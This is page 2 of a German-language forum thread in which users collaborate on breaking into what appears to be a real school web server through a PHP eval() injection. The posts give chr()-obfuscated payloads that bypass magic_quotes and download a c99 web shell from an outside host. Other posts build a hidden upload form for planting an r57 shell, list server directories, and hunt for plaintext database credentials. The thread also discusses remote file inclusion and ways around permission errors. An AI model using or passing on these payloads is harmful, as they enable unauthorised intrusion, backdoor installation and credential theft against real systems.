Seite 2 von 3 ErsteErste 123 LetzteLetzte
Ergebnis 11 bis 20 von 24
  1. #11
    NoClose Wurm
    Registriert seit
    05.03.2008
    Beiträge
    173

    Standard

    Verdammt
    Fällt euch irgendein Workaround ein, so etwas in der Art, alle " oder ' zu ersetzen durch andere Konstrukte?

    MfG RikuXan

    Edit: Also:
    PHP-Code:
    ?eval=$str=magic_quotes_gpc; echo var_dump(ini_get($str)); 
    ergibt
    PHP-Code:
    string(1"1" 
    Also ist magic_quotes_gpc wohl an. Kann ich das vielleicht irgendwie mit ini_set() ausschalten?
    Geändert von RikuXan (15.03.2010 um 18:53 Uhr)
    They misunderestimated me.
    George W. Bush



  2. #12
    monströs Avatar von Ken
    Registriert seit
    28.02.2010
    Beiträge
    138

    Standard

    Ich halte es für unwahrscheinlich, aber probier doch einfach mal das da:
    PHP-Code:
    $str=magic_quotes_gpcini_set($str0); echo "Test"

  3. #13
    NoClose Wurm
    Registriert seit
    05.03.2008
    Beiträge
    173

    Standard

    Also ohne die Anführungszeichen vor und nach Test wird alles ausgegeben, aber
    PHP-Code:
    $str=magic_quotes_gpc; echo ini_get($str); 
    ergibt immer noch 1.
    Kann man vielleicht alle Strings in Variablen ohne " schreiben und dann für fwrite etc. benutzen?

    MfG RikuXan

    Edit: So habe es jetzt geschafft per stringverknüpfungen und chr() für alle punkte slashes etc. mir die strings zu basteln. Habe dann VeN0ms Script genommen und alles ersetzt. Sieht so aus:
    PHP-Code:
    $rfile=http.chr(58).chr(47).chr(47).raku.chr(46).ro.chr(46).ohost.chr(46).de.chr(47).c99.chr(46).txt$lfile=c99.chr(46).php$f fopen($lfile,chr(97)); fwrite($f,file_get_contents($rfile)); fclose($f); 
    Jetzt kommt aber als Error:
    PHP-Code:
    Warning:  fopen(c99.php) [function.fopen]:  failed to open streamPermission denied in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik  mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1 
    Was genau funktioniert jetzt nicht? chmod kann es doch nicht sein, da er ja nicht versucht in ein existierendes file zu schreiben, sondern eines zu erstellen, oder muss ich den Ordner chmodden?
    Geändert von RikuXan (15.03.2010 um 19:47 Uhr)
    They misunderestimated me.
    George W. Bush



  4. #14
    monströs Avatar von Ken
    Registriert seit
    28.02.2010
    Beiträge
    138

    Standard

    Woaow, das ist ziemlich clever, Respekt, ich bin da irgendwie nicht drauf gekommen. Probier mal, ob das folgende funktioniert und Google anzeigt:
    PHP-Code:
    ?eval=$h chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(103).chr(111).chr(111).chr(103).chr(108).chr(101).chr(46).chr(100).chr(101).chr(47); echo file_get_contents($h); 
    Wenn nicht, hast Du wahrscheinlich keinen Zugriff auf externe Seiten. Aber wir finden sicher eine Lösung, ich konvertier mal nachher das Upload-Skript, ist ja nicht allzu schwer. Du kannst Dir so relativ einfach Strings in so ein chr()-Gebilde umwandeln:
    PHP-Code:
    for($i 0$i != strlen($str); $i++)
        echo 
    "chr(".ord($str[$i]).")."

  5. #15
    NoClose Wurm
    Registriert seit
    05.03.2008
    Beiträge
    173

    Standard

    Das Upload-Script hab ich schon konvertiert. mein Problem ist jetzt nur, dass mir fopen eben den Fehler angibt, von wegen nicht ausreichende berechtigungen um file zu erstellen und die chmod-Funktion bricht auch mit permission denied ab.
    Und ja es zeigt google an, aber das Problem liegt ja nicht am remote-file lesen sondern am local-file schreiben

    PHP-Code:
    $mode a$rfile=http.chr(58).chr(47).chr(47).roku.chr(46).ro.chr(46).ohost.chr(46).de.chr(47).c99.chr(46).txt$lfile=c99.chr(46).php$f fopen($lfile,$mode); fwrite($f,file_get_contents($rfile)); fclose($f); 
    MfG RikuXan
    They misunderestimated me.
    George W. Bush



  6. #16
    Stanley Jobson Avatar von GregorSamsa
    Registriert seit
    23.08.2008
    Beiträge
    729

    Standard

    Schonmal versucht statt eine Datei mit der Shell anzulegen einfach die Shell per include(...) einzubinden?
    Ist weniger Code und weniger zu escapen (nur der Pfad zu der Shell)...

  7. #17
    NoClose Wurm
    Registriert seit
    05.03.2008
    Beiträge
    173

    Standard

    RFI wäre ja einfach, aber allow_url_include ist off, also muss ich die shell zuerst auf den server bringen soweit ich mich noch erinnern kann oder? Kann aber auch sein, dass ich etwas ganz offensichtliches übersehe, hatte ewig keine R/LFI mehr.

    MfG RikuXan
    They misunderestimated me.
    George W. Bush



  8. #18
    monströs Avatar von Ken
    Registriert seit
    28.02.2010
    Beiträge
    138

    Standard

    Also mit anderen Worten: Bei folgendem Code bekommst Du eine Berechtigungsfehlermeldung, ja?
    PHP-Code:
    ?eval=$h fopen(chr(116).chr(101).chr(115).chr(116).chr(46).chr(116).chr(120).chr(116), chr(97)); fwrite($hchr(65).chr(66).chr(67)); fclose($h); 
    Du könntest Dir aus Juchs mal den Ordnerinhalt anzeigen lassen, und schauen, ob nicht irgendwo brisante Konfigurationsdateien lagern. Für eine Datenbankverbindung beispielsweise müssen ja irgendwo die Verbindungsdaten im Klartext lagern.

    Inhalt des Ordners ausgeben:
    PHP-Code:
    ?eval=$h opendir(chr(46)); while($d readdir($h)) echo $d.chr(60).chr(98).chr(114).chr(32).chr(47).chr(62); closedir($h); 
    Anschließend könntest Du die Dateien mit file_get_contents ausgeben und mal nachschauen.

    ... und der Vollständigkeit halber nochmal das Upload-Skript. Bei mir funktioniert das auch optimal, aber da könnte es wieder Berechtigungsprobleme geben:
    PHP-Code:
    ?eval=echo chr(60).chr(102).chr(111).chr(114).chr(109).chr(32).chr(97).chr(99).chr(116).chr(105).chr(111).chr(110).chr(61).chr(34).chr(34).chr(32).chr(101).chr(110).chr(99).chr(116).chr(121).chr(112).chr(101).chr(61).chr(34).chr(109).chr(117).chr(108).chr(116).chr(105).chr(112).chr(97).chr(114).chr(116).chr(47).chr(102).chr(111).chr(114).chr(109).chr(45).chr(100).chr(97).chr(116).chr(97).chr(34).chr(32).chr(109).chr(101).chr(116).chr(104).chr(111).chr(100).chr(61).chr(34).chr(80).chr(79).chr(83).chr(84).chr(34).chr(62).chr(60).chr(105).chr(110).chr(112).chr(117).chr(116).chr(32).chr(110).chr(97).chr(109).chr(101).chr(61).chr(34).chr(102).chr(105).chr(108).chr(101).chr(34).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(34).chr(102).chr(105).chr(108).chr(101).chr(34).chr(32).chr(47).chr(62).chr(60).chr(105).chr(110).chr(112).chr(117).chr(116).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(34).chr(115).chr(117).chr(98).chr(109).chr(105).chr(116).chr(34).chr(32).chr(47).chr(62).chr(60).chr(47).chr(102).chr(111).chr(114).chr(109).chr(62); if(isset($_FILES[chr(102).chr(105).chr(108).chr(101)])) { move_uploaded_file($_FILES[chr(102).chr(105).chr(108).chr(101)][chr(116).chr(109).chr(112).chr(95).chr(110).chr(97).chr(109).chr(101)], chr(46).chr(47).$_FILES[chr(102).chr(105).chr(108).chr(101)][chr(110).chr(97).chr(109).chr(101)]); echo chr(60).chr(97).chr(32).chr(104).chr(114).chr(101).chr(102).chr(61).chr(34).chr(46).chr(47).$_FILES[chr(102).chr(105).chr(108).chr(101)][chr(110).chr(97).chr(109).chr(101)].chr(34).chr(32).chr(116).chr(97).chr(114).chr(103).chr(101).chr(116).chr(61).chr(34).chr(95).chr(98).chr(108).chr(97).chr(110).chr(107).chr(34).chr(62).chr(79).chr(75).chr(33).chr(60).chr(47).chr(97).chr(62); } 

  9. #19
    Kevin Lee Poulsen Avatar von VeN0m
    Registriert seit
    30.12.2008
    Beiträge
    1.270

    Standard

    Das Verzeichnis ausgeben ist schonmal eine gute Idee.
    Hast Du mal geprüft, ob nicht vielleicht bereits eine c99.php existiert, auf die Du keine Schreibrechte hast?

    Code:
    chmod("c99.php",0777);
    Oder einen anderen Dateinamen versuchen.
    Dass der Benutzer selbst nicht genug Rechte für fopen() hat glaube ich nicht.
    Come to the dark side - We have cookies

  10. #20
    NoClose Wurm
    Registriert seit
    05.03.2008
    Beiträge
    173

    Standard

    Also, wie Ken schon vermutet hat ergibt der erste Code die normale fopen() Permission denied Fehlermeldung.
    Der zweite Code ist nützlich, aber ich wüsste nicht genau nach welchen config-files ich ausschau halten sollte. Der Server läuft auf lenny - Debian mit PHP 5.2.6-1 . Vielleicht hat ja jemand ein Script zum Dumpen des ganzen Servers rumliegen
    Code 3 ergibt:
    PHP-Code:
    Warning:  move_uploaded_file(./r57.php) [function.move-uploaded-file]:  failed to open streamPermission denied in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik  mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1

    Warning:  move_uploaded_file() [function.move-uploaded-file]:  Unable to move '
    /tmp/php1WnBH2' to './r57.php' in /opt/httpd/htdocs/wvsg/faecher/Informatik/Physik  mit Java/Referate/13_Raketengleichung/PHP/index.php(9) : eval()'d code  on line 1
    OK

    Und @ VeN0M: Nein, existiert auch nicht und außerdem bekomme ich bei chmod auch eine Permission denied, ist wahrscheinlich ftp-only chmod. Kann es auch nicht glauben, dass das erstellen von files verboten ist.

    MfG RikuXan
    Geändert von RikuXan (18.11.2011 um 16:01 Uhr)
    They misunderestimated me.
    George W. Bush



Seite 2 von 3 ErsteErste 123 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •